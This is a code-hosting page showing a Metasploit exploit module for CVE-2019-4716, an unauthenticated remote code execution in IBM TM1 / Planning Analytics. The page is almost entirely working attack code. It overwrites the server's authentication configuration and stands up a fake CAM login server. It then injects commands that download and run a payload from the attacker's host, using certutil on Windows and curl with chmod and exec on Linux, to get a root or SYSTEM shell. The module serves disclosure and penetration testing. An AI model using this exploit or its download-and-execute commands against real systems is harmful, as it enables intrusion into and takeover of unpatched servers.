Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::HttpServer12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution',20'Description' => %q{21This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows22an unauthenticated attacker to perform a configuration overwrite.23It starts by querying the Admin server for the available applications, picks one,24and then exploits it. You can also provide an application name to bypass this step,25and exploit the application directly.26The configuration overwrite is used to change an application server authentication27method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.28The exploit then performs a fake authentication as admin, and finally abuses TM129scripting to perform a command injection as root or SYSTEM.30Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.31Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions32earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).33},34'License' => MSF_LICENSE,35'Author' => [36'Pedro Ribeiro <[email protected]>',37# Vulnerability discovery and Metasploit module38'Gareth Batchelor <[email protected]>'39# Real world exploit testing and feedback40],41'References' => [42[ 'CVE', '2019-4716' ],43[ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],44[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_tm1_rce.md' ],45[ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ]46],47'Targets' => [48[49'Windows',50{51'Platform' => 'win',52'Arch' => [ARCH_X86, ARCH_X64]53}54],55[56'Windows (Command)',57{58'Platform' => 'win',59'Arch' => [ARCH_CMD],60'Payload' =>61{62# Plenty of bad chars in Windows... there might be more lurking63'BadChars' => "\x25\x26\x27\x3c\x3e\x7c"64}65}66],67[68'Linux',69{70'Platform' => 'linux',71'Arch' => [ARCH_X86, ARCH_X64]72}73],74[75'Linux (Command)',76{77'Platform' => 'unix',78'Arch' => [ARCH_CMD],79'Payload' =>80{81# only one bad char in Linux, baby! (that we know of...)82'BadChars' => "\x27"83}84}85],86[87'AIX (Command)',88{89# This should work on AIX, but it was not tested!90'Platform' => 'unix',91'Arch' => [ARCH_CMD],92'Payload' =>93{94# untested, but assumed to be similar to Linux95'BadChars' => "\x27"96}97}98],99],100'Stance' => Msf::Exploit::Stance::Aggressive,101# we need this to run in the foreground102'DefaultOptions' => {103# give the target lots of time to download the payload104'WfsDelay' => 30105},106'Privileged' => true,107'DisclosureDate' => '2019-12-19',108'DefaultTarget' => 0,109'Notes' => {110'Stability' => [ CRASH_SAFE ],111'Reliability' => [ REPEATABLE_SESSION ],112'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ]113}114)115)116register_options(117[118Opt::RPORT(5498),119OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),120]121)122register_advanced_options [123OptString.new('APP_NAME', [false, 'Name of the target application']),124OptInt.new('AUTH_ATTEMPTS', [true, 'Number of attempts to auth to CAM server', 10]),125]126end127128## Packet structure start129# these are client message types130MSG_TYPES = {131auth: [ 0x0, 0x1 ],132auth_uniq: [ 0x0, 0x3 ],133auth_1001: [ 0x0, 0x4 ],134auth_cam_pass: [ 0x0, 0x8 ],135auth_dist: [ 0x0, 0xa ],136obj_register: [ 0, 0x21 ],137obj_prop_set: [ 0, 0x25 ],138proc_create: [ 0x0, 0x9c ],139proc_exec: [ 0x0, 0xc4 ],140get_config: [ 0x1, 0x35 ],141upd_clt_pass: [ 0x1, 0xe2 ],142upd_central: [ 0x1, 0xae ]143}.freeze144145# packet header is universal for both client and server146PKT_HDR = [ 0, 0, 0xff, 0xff ].freeze147148# pkt end marker (client only, server responses do not have it)149PKT_END = [ 0xff, 0xff ].freeze150151# empty auth object, used for operations that do not require auth152AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].freeze153154# This is actually the client version number155# 0x6949200 = 110400000 in decimal, or version 11.4156# The lowest that version 11.4 seems to accept is 8.4, so leave that as the default157# 8.4 = 0x4CACE80158# 9.1 = 0x55ED120159# 9.4 = 0x5636500160# 10.1 = 0x5F767A0161# 10.4 = 0x5FBFB80162# 11.1 = 0x68FFE20163# 11.4 = 0x6949200164#165# If something doesn't work, try using one of the values above, but bear in mind this module166# was tested on 10.2.2 and 11.4,167VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ].freeze168## Packet structure end169170## Network primitives start171# unpack a string (hex string to array of bytes)172def str_unpack(str)173arr = []174str.scan(/../).each do |b|175arr += [b].pack('H*').unpack('C*')176end177arr178end179180# write strings directly to socket; each 2 string chars are a byte181def sock_rw_str(sock, msg_str)182sock_rw(sock, str_unpack(msg_str))183end184185# write array to socket and get result186# wait should also be implemented in msf187def sock_rw(sock, msg, ignore: false, wait: 0)188sock.write(msg.pack('C*'))189if !ignore190sleep(wait)191recv_sz = sock.read(2).unpack('H*')[0].to_i(16)192bytes = sock.read(recv_sz - 2).unpack('H*')[0]193bytes194end195end196197def sock_r(sock)198recv_sz = sock.read(2).unpack('H*')[0].to_i(16)199bytes = sock.read(recv_sz - 2).unpack('H*')[0]200bytes201end202203def get_socket(app_host, app_port, ssl = 0)204begin205ctx = { 'Msf' => framework, 'MsfExploit' => self }206sock = Rex::Socket.create_tcp(207{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }208)209rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError210sock.close if sock211end212if sock.nil?213fail_with(Failure::Unknown, 'Failed to connect to the chosen application')214end215if ssl == 1216# also need to add support for old ciphers217ctx = OpenSSL::SSL::SSLContext.new218ctx.min_version = OpenSSL::SSL::SSL3_VERSION219ctx.security_level = 0220ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE221s = OpenSSL::SSL::SSLSocket.new(sock, ctx)222s.sync_close = true223s.connect224return s225end226return sock227end228## Network primitives end229230## Packet primitives start231def pack_sz(sz)232[sz].pack('n*').unpack('C*')233end234235# build a packet, ready to send236def pkt_build(msg_type, auth_obj, contents)237pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END238pack_sz(pkt.length + 2) + pkt239end240241# extracts the first object from a server response242def obj_extract(res)243arr = str_unpack(res)244245# ignore packet header (4 bytes)246arr.shift(PKT_HDR.length)247if arr[0] == 5248# this is an object, get the type (1 byte) plus the object bytes (9 bytes)249obj = arr[0..9]250obj251end252end253254# adds a string to a packet255# C string = 0x2; utf string = 0xe; binary = 0xf256def stradd(str, type = 0xe)257arr = [ type ] # string type258arr += pack_sz(str.length)259arr += str.unpack('C*')260arr261end262263# packs binary data into an array264def datapack(data)265arr = []266data.chars.each do |d|267arr << d.ord268end269arr270end271272def binadd(data)273arr = [ 0xf ] # binary type 0xf274arr += pack_sz(data.length) # 2 byte size275arr += datapack(data) # ... and add the data276arr277end278279def get_str(data)280s = ''281data.shift while data[0] != '"'.ord282data.shift283while data[0] != '"'.ord284s += data[0].chr285data.shift286end287# comma288data.shift289s290end291292# This fetches the current IntegratedSecurityMode from a packet such as293# 0000ffff070000000203000000 01 07000000020e00000e0000 (1)294# 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)295# 0000ffff070000000203000000 06 07000000010e0000 (6)296def get_auth(data)297# make it into an array298data = str_unpack(data)299if data.length > 13300# skip 13 bytes (header + array indicator + index indicator)301data.shift(13)302# fetch the auth method byte303data[0]304end305end306307def update_auth(auth_method, restore: false)308# first byte of data is ignored, so add an extra space309if restore310srv_config = " IntegratedSecurityMode=#{auth_method}"311else312# To enable CAM server authentication over SSL, the CAM server certificate has to be previously313# imported into the server. Since we can't do this, disable SSL in the fake CAM.314srv_config = " IntegratedSecurityMode=#{auth_method}\n" \315"ServerCAMURI=http://#{srvhost}:#{srvport}\n" \316"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \317"CAMUseSSL=F\n"318end319320arr =321[ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is322[ 3 ] + [ 0, 0, 0, 2 ] + # same here323[ 3 ] + [ 0 ] * 4 + # same here324stradd(rand_text_alpha(5..12)) + # same here...325stradd('tm1s_delta.cfg') + # update file name326binadd(srv_config) + # file data327stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf328329upd_auth = pkt_build(330MSG_TYPES[:upd_central],331AUTH_OBJ_EMPTY,332[ 7 ] + # array type333[ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt)334arr335)336337upd_auth338end339## Packet primitives end340341## CAM HTTP functions start342def on_request_uri(cli, request)343xml_res = %(<?xml version="1.0" encoding="UTF-8"?>344<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1">345<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">346<cm:queryResponse>347<result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">348PLACEHOLDER349</result>350</cm:queryResponse>351</SOAP-ENV:Body>352</SOAP-ENV:Envelope>)353354session =355%( <item xsi:type="bus:session">356<identity>357<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">358<item xsi:type="bus:account">359<searchPath><value>admin</value></searchPath>360</item>361</value>362</identity>363</item>)364365account =366%( <item xsi:type="bus:account">367<defaultName><value>admin</value></defaultName>368</item>)369370headers = { 'SOAPAction' => '"http://developer.cognos.com/schemas/contentManagerService/1"' }371if request.body.include? '<searchPath>/</searchPath>'372print_good('CAM: Received first CAM query, responding with account info')373response = xml_res.sub('PLACEHOLDER', account)374elsif request.body.include? '<searchPath>~~</searchPath>'375print_good('CAM: Received second CAM query, responding with session info')376response = xml_res.sub('PLACEHOLDER', session)377elsif request.body.include? '<searchPath>admin</searchPath>'378print_good('CAM: Received third CAM query, responding with random garbage')379response = rand_text_alpha(5..12)380elsif request.method == 'GET'381print_good('CAM: Received request for payload executable, shell incoming!')382response = @pl383headers = { 'Content-Type' => 'application/octet-stream' }384else385response = ''386print_error('CAM: received unknown request')387end388send_response(cli, response, headers)389end390## CAM HTTP functions end391392def restore_auth(app, auth_current)393print_status("Restoring original authentication method #{auth_current}")394upd_cent = update_auth(auth_current, restore: true)395s = get_socket(app[2], app[3], app[5])396sock_rw(s, upd_cent, ignore: true)397s.close398end399400def exploit401# first let's check if SRVHOST is valid402if datastore['SRVHOST'] == '0.0.0.0'403fail_with(Failure::Unknown, 'Please enter a valid IP address for SRVHOST')404end405406# The first step is to query the administrative server to see what apps are available.407# This action can be done unauthenticated. We then list all the available app servers408# and pick a random one that is currently accepting clients. This step is important409# not only to know what app servers are available, but also to know if we need to use410# SSL or not.411# The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495412#413# Step 1: fetch the available applications / servers from the Admin server414# ... if the user did not enter an APP_NAME415if datastore['APP_NAME'].nil?416connect417print_status('Connecting to admin server and obtaining application data')418419# for this packet we use string type 0xc (?) and cut off the PKT_END420pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc)421pkt_control = pack_sz(pkt_control.length + 2) + pkt_control422data = sock_rw(sock, pkt_control)423disconnect424425if data426# now process the response427apps = []428429data = str_unpack(data)430431# ignore packet header (4 bytes)432data.shift(PKT_HDR.length)433434# now just go through the list we received, sample format below435# "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014"436# "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010"437# "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312"438# "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354"439# "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011"440# "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010"441while !data.nil? && (data.length > 2)442# skip the marker (0x0, 0x5) that indicates the start of a new app443data = data[2..]444445# read the size and fetch the data446size = data[0..1].pack('C*').unpack('H*')[0].to_i(16)447data_next = data[2 + size..]448data = data[2..size]449450# first is application name451app_name = get_str(data)452453# second is protocol, we don't care454proto = get_str(data)455456# third is IP address457ip = get_str(data)458459# app port460port = get_str(data)461462# mtt maybe? don't care463_mtt = get_str(data)464465# not sure, and don't care466_unknown = get_str(data)467468# localhost addresses? again don't care469_unknown_addr = get_str(data)470471# I think this is the accepting clients flag472accepts = get_str(data)473474# and this is a key one, the SSL flag475ssl = get_str(data)476477# the leftover data is related to the REST API *I think*, so we just ignore it478479print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}")480apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i])481482data = data_next483end484else485fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server')486end487488# now pick a random application server that is accepting clients via TCP489app = apps.sample490total = apps.length491count = 0492493# TODO: check for null return here, and probably also response size > 0x20494while (app[1] != 'tcp') && (app[4] != 1) && (count < total)495app = apps.sample496count += 1497end498499if count == total500fail_with(Failure::Unknown, 'Failed to find an application we can attack')501end502print_status("Picked #{app[0]} as our target, connecting...")503504else505# else if the user entered an APP_NAME, build the app struct with that info506ssl = datastore['SSL']507app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)]508print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? 'on' : 'off'}")509end510511s = get_socket(app[2], app[3], app[5])512513# Step 2: get the current app server configuration variables, such as the current auth method used514get_conf = stradd(app[0])515get_conf += VERSION516auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf)517data = sock_rw(s, auth_get)518auth_current = get_auth(data)519520print_good("Current auth method is #{auth_current}, we're good to go!")521s.close522523# Step 3: start the fake CAM server / exploit server524if payload.arch.include? ARCH_CMD525@pl = ''526else527@pl = generate_payload_exe528end529530print_status('Starting up the fake CAM server...')531start_service(532{533'Uri' => {534'Proc' => proc do |cli, req|535on_request_uri(cli, req)536end,537'Path' => '/'538},539'ssl' => false # do not use SSL540}541)542543# Step 4: send the server config update packet, and ignore what it sends back544print_status('Changing authentication method to 4 (CAM auth)')545upd_cent = update_auth(4)546s = get_socket(app[2], app[3], app[5])547sock_rw(s, upd_cent, ignore: true)548s.close549550# Step 5: send the CAM auth request and obtain the authentication object551# app name552auth_pkt = stradd(app[0])553554auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects555556# passport, can be random557auth_pkt += stradd(rand_text_alpha(5..12))558559# no idea what these vars are, but they don't seem to matter560auth_pkt += stradd(rand_text_alpha(5..12))561auth_pkt += stradd(rand_text_alpha(5..12))562563# client IP564auth_pkt += stradd(lhost)565566# add the client version number567auth_pkt += VERSION568569auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt)570571print_status('Authenticating using CAM Passport and our fake CAM Service...')572s = get_socket(app[2], app[3], app[5])573574# try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try575# adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network576counter = 1577res_auth = ''578while (counter < datastore['AUTH_ATTEMPTS'])579# send the authenticate request, but wait a bit so that our fake CAM server can respond580res_auth = sock_rw(s, auth_dist, ignore: false, wait: 0.5)581if res_auth.length < 20582print_error("Failed to authenticate on attempt number #{counter}, trying again...")583counter += 1584next585else586break587end588end589if counter == datastore['AUTH_ATTEMPTS']590# if we can't auth, bail out, but first restore the old auth method591s.close592# restore_auth(app, auth_current)593fail_with(Failure::Unknown, 'Failed to authenticate to the Application server. Run the exploit and try again!')594end595596auth_obj = obj_extract(res_auth)597598# Step 6: create a Process object599print_status('Creating our Process object...')600proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, [])))601602if payload.arch == ['cmd']603cmd_one = payload.encoded604cmd_two = ''605else606payload_url = "http://#{srvhost}:#{srvport}/"607exe_name = rand_text_alpha(5..13)608if target['Platform'] == 'win'609# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line610exe_name += '.exe'611exe_name = "C:\\Windows\\Temp\\#{exe_name}"612cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"613cmd_two = exe_name614else615# the Linux one can actually be done in one line, but let's make them similar616exe_name = "/tmp/#{exe_name}"617cmd_one = "curl #{payload_url} -o #{exe_name};"618cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"619end620621register_file_for_cleanup(exe_name)622end623624proc_cmd =625[ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is626[ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script)627# the first argument is the command628# the second whether it should wait (1) or not (0) for command completion before returning629stradd("executecommand('#{cmd_one}', #{cmd_two.empty? ? '0' : '1'});") +630stradd("executecommand('#{cmd_two}', 0);")631632# Step 7: add the commands into the process object633print_status("Adding command: \"#{cmd_one}\" to the Process object...")634if cmd_two != ''635print_status("Adding command: \"#{cmd_two}\" to the Process object...")636end637sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd))638639# Step 8: register the Process object with a random name640obj_name = rand_text_alpha(5..12)641print_status("Registering the Process object under the name '#{obj_name}'")642proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name))))643644# Step 9: execute the Process!645print_status("Now let's execute the Process object!")646sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), ignore: true)647s.close648649# Step 10: restore the auth method and enjoy the shell!650restore_auth(app, auth_current)651652if payload.arch.include? ARCH_CMD653print_good('Your command should have executed by now, enjoy!')654end655end656end657658659